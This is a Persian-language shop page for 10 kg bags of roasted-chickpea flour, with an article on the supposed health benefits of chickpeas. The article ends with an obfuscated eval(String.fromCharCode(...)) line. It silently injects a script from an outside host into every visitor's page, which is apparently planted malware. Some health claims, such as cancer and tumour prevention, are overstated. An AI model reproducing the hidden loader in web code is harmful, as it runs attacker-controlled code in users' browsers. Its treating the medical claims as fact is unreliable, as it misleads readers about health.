آرد نخودچی اعلاء- کیسه 10 کیلویی

خواص باورنکردنی نخودچی

اکثر افراد از تاثیر خواص نخود‌چی بر سلامت بدن بی اطلاع هستند و کمتر کسی آن را مصرف می‌کند اما باید به این نکته اشاره کرد که خواص نخود چی با مزایای نخود برابری کرده و نباید از آن غافل شد. نخود حاوی مقادیر قابل توجهی مواد مغذی و پروتئین‌های مهم می‌باشد و در استحکام‌ بخشی به استخوان‌ها و تامین سلامت پوست و ماهیچه‌های بدن کمک فراوانی می‌کند. برای افرادی که به دلایل مختلف از گوشت استفاده نمی‌کنند و یا مصرف کمی دارند، مصرف حبوبات مختلف و به ویژه نخود در رژیم غذایی از اهمیت بسیار زیادی برخوردار است. چرا که این مواد می‌‌توانند جایگزین مناسبی برای گوشت قرمز به محسوب شوند. یک فنجان نخود تقریبا یک سوم پروتئین مورد نیاز بدن یک فرد بزرگسال را تامین می‌کند. در ادامه این مطلب با خواص نخودچی بیشتر آشنا می‌شویم.

تاثیر نخودچی بر مبتلایان به دیابت

نخود و نخودچی به بیماران دیابتی و افراد مقاوم در برابر انسولین توصیه می‌شود چراکه یک فنجان نخود چیزی در حدود 12.5 گرم از فیبر مورد نیاز بدن را تامین می‌کند و مصرف روزانه حداقل 30 گرم فیبر می‌تواند در کاهش التهابات ناشی از ابتلا به دیابت نوع 1 موثر باشد و با پایین آوردن سطح گلوکز خون، خطر ابتلا به دیابت نوع 2 را کاهش دهد.

حفظ سلامت استخوان

آهن، فسفات، کلسیم، منیزیم، منگنز، روی و ویتامین K در نخودچی‌ها به ایجاد و حفظ ساختار و قدرت استخوان کمک فراوانی می‎‌کند. فسفات و کلسیم در ساختار استخوانی موثر بوده و ایجاد ماتریکس استخوان نیاز به منگنز معدنی دارد و آهن و روی نیز نقش مهمی در تولید و بلوغ کلاژن دارند. همچنین مصرف مناسب ویتامین K برای سلامتی استخوان‌ها بسیار مهم است چون باعث جذب کلسیم شده و ممکن است دفع ادرار کلسیم را کاهش دهد.

جلوگیری از سرطان

سلنیوم و بتا کاروتن موجود در نخود از عملکردی مشابه با آنتی‌اکسیدان‌ها برخوردار هستند و مصرف سلنیوم احتمالا می‌تواند به محافظت بدن در برابر سرطان کمک کند زیرا این آنزیم‌ها موجب می‌شوند تا کبد به درستی عمل کرده و باعث دفع برخی از ترکیبات سرطانی در بدن شوند. علاوه بر این سلنیوم از التهابات جلوگیری کرده و میزان رشد تومور را کاهش می‌دهد.

کمک به کاهش وزن

فیبر موجود در نخود از جمله موادی است که به کاهش احساس گرسنگی کمک می‌کند و موجب می‌شود که شما مدت بیشتر احساس سیری داشته باشید . طبیعی است که کاهش احساس گرسنگی سبب می‌گردد تا کالری کم‌تری دریافت نمایید. از این رو خوردن نخودچی در مدیریت وزن موثر خواهد بود.

var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/